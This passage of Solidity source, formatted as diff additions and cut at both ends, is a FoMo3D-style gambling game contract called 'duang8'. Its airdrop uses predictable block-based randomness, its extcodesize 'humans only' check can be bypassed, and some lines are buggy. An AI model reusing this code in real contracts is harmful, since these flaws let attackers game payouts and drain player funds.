F3DKeysCalcShort for uint256; + + PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xE840E25BaB3F1F02eb1244a3aDC8965F5864f22E); + + + + + + address private admin = msg.sender; + address private shareCom = 0x2F0839f736197117796967452310F025a330DA45; + address private groupCut = 0x2924C3BfA7A20eB7AEcB6c38F4576eDcf7a72Df3; + + string constant public name = "duang8"; + string constant public symbol = "duang8"; + + uint256 private rndExtra_ = 0; + uint256 private rndGap_ = 2 minutes; + + uint256 constant private rndInit_ = 24 hours; + uint256 constant private rndInc_ = 30 seconds; + uint256 constant private rndMax_ = 24 hours; + + uint256 constant private rndLimit_ = 5000; + + + + + + uint256 public airDropPot_; + uint256 public airDropTracker_ = 0; + uint256 public rID_; + + + + mapping (address => uint256) public pIDxAddr_; + mapping (bytes32 => uint256) public pIDxName_; + mapping (uint256 => F3Ddatasets.Player) public plyr_; + mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; + mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; + + + + mapping (uint256 => F3Ddatasets.Round) public round_; + mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; + + + + mapping (uint256 => F3Ddatasets.TeamFee) public fees_; + mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; + + + + + constructor() + public + { + + + + + + + + + + fees_[0] = F3Ddatasets.TeamFee(23,0); + fees_[1] = F3Ddatasets.TeamFee(33,0); + fees_[2] = F3Ddatasets.TeamFee(53,0); + fees_[3] = F3Ddatasets.TeamFee(43,0); + + + + potSplit_[0] = F3Ddatasets.PotSplit(42,0); + potSplit_[1] = F3Ddatasets.PotSplit(34,0); + potSplit_[2] = F3Ddatasets.PotSplit(18,0); + potSplit_[3] = F3Ddatasets.PotSplit(26,0); + } + + + + + + modifier isActivated() { + require(activated_ == true, "its not ready yet. check ?eta in discord"); + _; + } + + + modifier isHuman() { + address _addr = msg.sender; + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_addr)} + require(_codeLength == 0, "sorry humans only"); + _; + } + + + modifier isWithinLimits(uint256 _eth) { + require(_eth >= 1000000000, "pocket lint: not a valid currency"); + require(_eth <= 100000000000000000000000, "no vitalik, no"); + _; + } + + + + + + + function() + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); + } + + function buyXid(uint256 _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affCode, _team, _eventData_); + } + + function buyXaddr(address _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affID, _team, _eventData_); + } + + function buyXname(bytes32 _affCode, uint256 _team) + isActivated() + isHuman() + isWithinLimits(msg.value) + public + payable + { + + F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + buyCore(_pID, _affID, _team, _eventData_); + } + + function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + F3Ddatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + + if (_affCode == 0 || _affCode == _pID) + { + + _affCode = plyr_[_pID].laff; + + + } else if (_affCode != plyr_[_pID].laff) { + + plyr_[_pID].laff = _affCode; + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affCode, _team, _eth, _eventData_); + } + + function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + F3Ddatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == address(0) || _affCode == msg.sender) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxAddr_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) + isActivated() + isHuman() + isWithinLimits(_eth) + public + { + + F3Ddatasets.EventReturns memory _eventData_; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _affID; + + if (_affCode == '' || _affCode == plyr_[_pID].name) + { + + _affID = plyr_[_pID].laff; + + + } else { + + _affID = pIDxName_[_affCode]; + + + if (_affID != plyr_[_pID].laff) + { + + plyr_[_pID].laff = _affID; + } + } + + + _team = verifyTeam(_team); + + + reLoadCore(_pID, _affID, _team, _eth, _eventData_); + } + + + function withdraw() + isActivated() + isHuman() + public + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + uint256 _pID = pIDxAddr_[msg.sender]; + + + uint256 _eth; + uint256 _withdrawFee; + + + if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + F3Ddatasets.EventReturns memory _eventData_; + + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + { + + _withdrawFee = _eth / 10; + uint256 _p1 = _withdrawFee / 2; + uint256 _p2 = _withdrawFee / 2; + shareCom.transfer(_p1); + admin.transfer(_p2); + + plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); + } + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit F3Devents.onWithdrawAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eth, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + + + } else { + + _eth = withdrawEarnings(_pID); + + + if (_eth > 0) + { + + _withdrawFee = _eth / 10; + _p1 = _withdrawFee / 2; + _p2 = _withdrawFee / 2; + shareCom.transfer(_p1); + admin.transfer(_p2); + + plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); + } + + + emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); + } + } + + function registerNameXID(string _nameString, uint256 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXaddr(string _nameString, address _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + function registerNameXname(string _nameString, bytes32 _affCode, bool _all) + isHuman() + public + payable + { + bytes32 _name = _nameString.nameFilter(); + address _addr = msg.sender; + uint256 _paid = msg.value; + (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); + + uint256 _pID = pIDxAddr_[_addr]; + + + emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); + } + + + + + + function getBuyPrice() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); + else + return ( 100000000000000 ); + } + + + function getTimeLeft() + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + if (_now < round_[_rID].end) + if (_now > round_[_rID].strt + rndGap_) + return( ( round_[_rID].end).sub(_now) ); + else + return( (round_[_rID].strt + rndGap_).sub(_now) ); + else + return(0); + } + + function getPlayerVaults(uint256 _pID) + public + view + + returns(uint256 ,uint256, uint256) + { + + uint256 _rID = rID_; + + + if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) + { + + if (round_[_rID].plyr == _pID) + { + return + ( + (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), + plyr_[_pID].aff + ); + } + + + } else { + return + ( + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff + ); + } + } + + + function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) + private + view + returns(uint256) + { + return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); + } + + function getCurrentRoundInfo() + public + view + returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + return + ( + round_[_rID].ico, + _rID, + round_[_rID].keys, + round_[_rID].end, + round_[_rID].strt, + round_[_rID].pot, + (round_[_rID].team + (round_[_rID].plyr * 10)), + plyr_[round_[_rID].plyr].addr, + plyr_[round_[_rID].plyr].name, + rndTmEth_[_rID][0], + rndTmEth_[_rID][1], + rndTmEth_[_rID][2], + rndTmEth_[_rID][3], + airDropTracker_ + (airDropPot_ * 1000) + ); + } + + function getPlayerInfoByAddress(address _addr) + public + view + returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) + { + + uint256 _rID = rID_; + + if (_addr == address(0)) + { + _addr == msg.sender; + } + uint256 _pID = pIDxAddr_[_addr]; + + return + ( + _pID, + plyr_[_pID].name, + plyrRnds_[_pID][_rID].keys, + plyr_[_pID].win, + (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), + plyr_[_pID].aff, + plyrRnds_[_pID][_rID].eth + ); + } + + + + + + + function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + core(_rID, _pID, msg.value, _affID, _team, _eventData_); + + + } else { + + if (_now > round_[_rID].end && round_[_rID].ended == false) + { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit F3Devents.onBuyAndDistribute + ( + msg.sender, + plyr_[_pID].name, + msg.value, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + } + + + plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); + } + } + + + function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) + private + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + { + + + + plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); + + + core(_rID, _pID, _eth, _affID, _team, _eventData_); + + + } else if (_now > round_[_rID].end && round_[_rID].ended == false) { + + round_[_rID].ended = true; + _eventData_ = endRound(_eventData_); + + + _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; + + + emit F3Devents.onReLoadAndDistribute + ( + msg.sender, + plyr_[_pID].name, + _eventData_.compressedData, + _eventData_.compressedIDs, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount + ); + } + } + + + function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + { + + if (plyrRnds_[_pID][_rID].keys == 0) + _eventData_ = managePlayer(_pID, _eventData_); + + + if (_eth > 1000000000) + { + + + uint256 _keys = (round_[_rID].eth).keysRec(_eth); + + + if (_keys >= 1000000000000000000) + { + updateTimer(_keys, _rID); + + + if (round_[_rID].plyr != _pID) + round_[_rID].plyr = _pID; + if (round_[_rID].team != _team) + round_[_rID].team = _team; + + + _eventData_.compressedData = _eventData_.compressedData + 100; + } + + + if (_eth >= 100000000000000000) + { + airDropTracker_++; + if (airdrop() == true) + { + + uint256 _prize; + if (_eth >= 10000000000000000000) + { + + _prize = ((airDropPot_).mul(75)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 300000000000000000000000000000000; + } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { + + _prize = ((airDropPot_).mul(50)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 200000000000000000000000000000000; + } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { + + _prize = ((airDropPot_).mul(25)) / 100; + plyr_[_pID].win = (plyr_[_pID].win).add(_prize); + + + airDropPot_ = (airDropPot_).sub(_prize); + + + _eventData_.compressedData += 300000000000000000000000000000000; + } + + _eventData_.compressedData += 10000000000000000000000000000000; + + _eventData_.compressedData += _prize * 1000000000000000000000000000000000; + + + airDropTracker_ = 0; + } + } + + + _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); + + + plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); + plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); + + + round_[_rID].keys = _keys.add(round_[_rID].keys); + round_[_rID].eth = _eth.add(round_[_rID].eth); + rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); + + + _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); + _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); + + + endTx(_pID, _team, _eth, _keys, _eventData_); + } + } + + + + + + function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) + private + view + returns(uint256) + { + return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); + } + + + function calcKeysReceived(uint256 _rID, uint256 _eth) + public + view + returns(uint256) + { + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].eth).keysRec(_eth) ); + else + return ( (_eth).keys() ); + } + + + function iWantXKeys(uint256 _keys) + public + view + returns(uint256) + { + + uint256 _rID = rID_; + + + uint256 _now = now; + + + if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) + return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); + else + return ( (_keys).eth() ); + } + + + + + + function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if (pIDxAddr_[_addr] != _pID) + pIDxAddr_[_addr] = _pID; + if (pIDxName_[_name] != _pID) + pIDxName_[_name] = _pID; + if (plyr_[_pID].addr != _addr) + plyr_[_pID].addr = _addr; + if (plyr_[_pID].name != _name) + plyr_[_pID].name = _name; + if (plyr_[_pID].laff != _laff) + plyr_[_pID].laff = _laff; + if (plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function receivePlayerNameList(uint256 _pID, bytes32 _name) + external + { + require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); + if(plyrNames_[_pID][_name] == false) + plyrNames_[_pID][_name] = true; + } + + + function determinePID(F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + uint256 _pID = pIDxAddr_[msg.sender]; + + if (_pID == 0) + { + + _pID = PlayerBook.getPlayerID(msg.sender); + bytes32 _name = PlayerBook.getPlayerName(_pID); + uint256 _laff = PlayerBook.getPlayerLAff(_pID); + + + pIDxAddr_[msg.sender] = _pID; + plyr_[_pID].addr = msg.sender; + + if (_name != "") + { + pIDxName_[_name] = _pID; + plyr_[_pID].name = _name; + plyrNames_[_pID][_name] = true; + } + + if (_laff != 0 && _laff != _pID) + plyr_[_pID].laff = _laff; + + + _eventData_.compressedData = _eventData_.compressedData + 1; + } + return (_eventData_); + } + + + function verifyTeam(uint256 _team) + private + pure + returns (uint256) + { + if (_team < 0 || _team > 3) + return(2); + else + return(_team); + } + + + function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + + + if (plyr_[_pID].lrnd != 0) + updateGenVault(_pID, plyr_[_pID].lrnd); + + + plyr_[_pID].lrnd = rID_; + + + _eventData_.compressedData = _eventData_.compressedData + 10; + + return(_eventData_); + } + + + function endRound(F3Ddatasets.EventReturns memory _eventData_) + private + returns (F3Ddatasets.EventReturns) + { + + uint256 _rID = rID_; + + + uint256 _winPID = round_[_rID].plyr; + uint256 _winTID = round_[_rID].team; + + + uint256 _pot = round_[_rID].pot; + + + + uint256 _win = (_pot.mul(48)) / 100; + uint256 _com = (_pot / 10); + uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; + uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); + + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); + if (_dust > 0) + { + _gen = _gen.sub(_dust); + _res = _res.add(_dust); + } + + + plyr_[_winPID].win = _win.add(plyr_[_winPID].win); + + + shareCom.transfer((_com / 2)); + admin.transfer((_com / 2)); + + + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); + _eventData_.winnerAddr = plyr_[_winPID].addr; + _eventData_.winnerName = plyr_[_winPID].name; + _eventData_.amountWon = _win; + _eventData_.genAmount = _gen; + _eventData_.P3DAmount = 0; + _eventData_.newPot = _res; + + + + + + + + emit F3Devents.onEndRound + ( + _rID, + plyr_[_winPID].addr, + plyr_[_winPID].name, + _win, + _res + ); + + + rID_++; + _rID++; + round_[_rID].strt = now; + round_[_rID].end = now.add(rndInit_).add(rndGap_); + round_[_rID].pot = _res; + + return(_eventData_); + } + + + function updateGenVault(uint256 _pID, uint256 _rIDlast) + private + { + uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); + if (_earnings > 0) + { + + plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); + + plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); + } + } + + + function updateTimer(uint256 _keys, uint256 _rID) + private + { + + uint256 _now = now; + + uint256 _rndInc = rndInc_; + + if(round_[_rID].pot > rndLimit_) + { + _rndInc = _rndInc / 2; + } + + + uint256 _newTime; + if (_now > round_[_rID].end && round_[_rID].plyr == 0) + _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now); + else + _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end); + + + if (_newTime < (rndMax_).add(_now)) + round_[_rID].end = _newTime; + else + round_[_rID].end = rndMax_.add(_now); + } + + + function airdrop() + private + view + returns(bool) + { + uint256 seed = uint256(keccak256(abi.encodePacked( + + (block.timestamp).add + (block.difficulty).add + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add + (block.gaslimit).add + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add + (block.number) + + ))); + if((seed - ((seed / 1000) * 1000)) < airDropTracker_) + return(true); + else + return(false); + } + + + function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) + private + returns(F3Ddatasets.EventReturns) + { + + uint256 _com = _eth / 10; + uint256 _p3d; + + if (address(admin).call.value((_com / 2))() == false) + { + _p3d = _com / 2; + _com = _com / 2; + } + + if (address(shareCom).call.value((_com / 2))() == false) + { + _p3d += (_com / 2); + _com = _com.sub(_com / 2); + } + + + + + + _p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID)); + + + + if (_p3d > 0) + { + + uint256 _potAmount = _p3d / 2; + uint256 _amount = _p3d.sub(_potAmount); + + shareCom.transfer((_amount / 2)); + admin.transfer((_amount / 2)); + + round_[_rID].pot = round_[_rID].pot.add(_potAmount); + + + _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); + } + + return(_eventData_); + } + + function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) + private + returns(uint256) + { + uint256 _addP3d = 0; + + + uint256 _aff1 = _eth / 10; + uint256 _aff2 = _eth / 20; + uint256 _aff3 = _eth / 34; + + groupCut.transfer(_aff1); + + + + if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != '')) + { + plyr_[_pID].laffID = _affID; + plyr_[_affID].aff = _aff2.add(plyr_[_affID].aff); + + emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff2, now); + + + uint256 _secLaff = plyr_[_affID].laffID; + if((_secLaff != 0) && (_secLaff != _pID)) + { + plyr_[_secLaff].aff = _aff3.add(plyr_[_secLaff].aff); + emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff3, now); + } else { + _addP3d = _addP3d.add(_aff3); + } + } else { + _addP3d = _addP3d.add(_aff2); + } + return(_addP3d); + } + + function getPlayerAff(uint256 _pID) + public + view + returns (uint256,uint256,uint256) + { + uint256 _affID = plyr_[_pID].laffID; + if (_affID != 0) + { + + uint256 _secondLaff = plyr_[_affID].laffID; + + if(_secondLaff != 0) + { + + uint256 _thirdAff = plyr_[_secondLaff].laffID; + } + } + return (_affID,_secondLaff,_thirdAff); + } + + function potSwap() + external + payable + { + + uint256 _rID = rID_ + 1; + + round_[_rID].pot = round_[_rID].pot.add(msg.value); + emit F3Devents.onPotSwapDeposit(_rID, msg.value); + } + + + function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) + private + returns(F3Ddatasets.EventReturns) + { + + uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; + + + uint256 _air = (_eth / 100); + airDropPot_ = airDropPot_.add(_air); + + + + _eth = _eth.sub(_eth.mul(29) / 100); + + + uint256 _pot = _eth.sub(_gen); + + + + uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); + if (_dust > 0) + _gen = _gen.sub(_dust); + + + round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); + + + _eventData_.genAmount = _gen.add(_eventData_.genAmount); + _eventData_.potAmount = _pot; + + return(_eventData_); + } + + + function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) + private + returns(uint256) + { + + uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); + round_[_rID].mask = _ppt.add(round_[_rID].mask); + + + + uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); + plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); + + + return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); + } + + + function withdrawEarnings(uint256 _pID) + private + returns(uint256) + { + + updateGenVault(_pID, plyr_[_pID].lrnd); + + + uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); + if (_earnings > 0) + { + plyr_[_pID].win = 0; + plyr_[_pID].gen = 0; + plyr_[_pID].aff = 0; + } + + return(_earnings); + } + + + function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) + private + { + _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); + + emit F3Devents.onEndTx + ( + _eventData_.compressedData, + _eventData_.compressedIDs, + plyr_[_pID].name, + msg.sender, + _eth, + _keys, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount, + _eventData_.potAmount, + airDropPot_ + ); + } + + + + + + bool public activated_ = false; + function activate() + public + { + + require(msg.sender == admin, "only admin can activate"); + + + + require(activated_ == false, "FOMO Short already activated"); + + + activated_ = true; + + + rID_ = 1; + round_[1].strt = now + rndExtra_ - rndGap_; + round_[1].end = now + rndInit_ + rndExtra_; + } +} + + + + + +library F3Ddatasets { + + + + + + + + + + + + + + + + + + + + struct EventReturns { + uint256 compressedData; + uint256 compressedIDs; + address winnerAddr; + bytes32 winnerName; + uint256 amountWon; + uint256 newPot; + uint256 P3DAmount; + uint256 genAmount; + uint256 potAmount; + } + struct Player { + address addr; + bytes32 name; + uint256 win; + uint256 gen; + uint256 aff; + uint256 lrnd; + uint256 laff; + uint256 laffID; + } + struct PlayerRounds { + uint256 eth; + uint256 keys; + uint256 mask; + uint256 ico; + } + struct Round { + uint256 plyr; + uint256 team; + uint256 end; + bool ended; + uint256 strt; + uint256 keys; + uint256 eth; + uint256 pot; + uint256 mask; + uint256 ico; + uint256 icoGen; + uint256 icoAvg; + } + struct TeamFee { + uint256 gen; + uint256 p3d; + } + struct PotSplit { + uint256 gen; + uint256 p3d; + } +} + + + + + +library F3DKeysCalcShort { + using SafeMath for *; + + function keysRec(uint256 _curEth, uint256 _newEth) + internal + pure + returns (uint256) + { + return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); + } + + + function ethRec(uint256 _curKeys, uint256 _sellKeys) + internal + pure + returns (uint256) + { + return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); + } + + + function keys(uint256 _eth) + internal + pure + returns(uint256) + { + return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); + } + + + function eth(uint256 _keys) + internal + pure + returns(uint256) + { + return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); + } +} + + + + + + +interface PlayerBookInterface { + function getPlayerID(address _addr) external returns (uint256); + function getPlayerName(uint256 _pID) external view returns (bytes32); + function getPlayerLAff(uint256 _pID) external view returns (uint256); + function getPlayerAddr(uint256 _pID) external view returns (address); + function getNameFee() external view returns (uint256); + function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); +} + +library NameFilter { + + function nameFilter(string _input) + internal + pure + returns(bytes32) + { + bytes memory _temp = bytes(_input); + uint256 _length = _temp.length; + + + require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); + + require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string 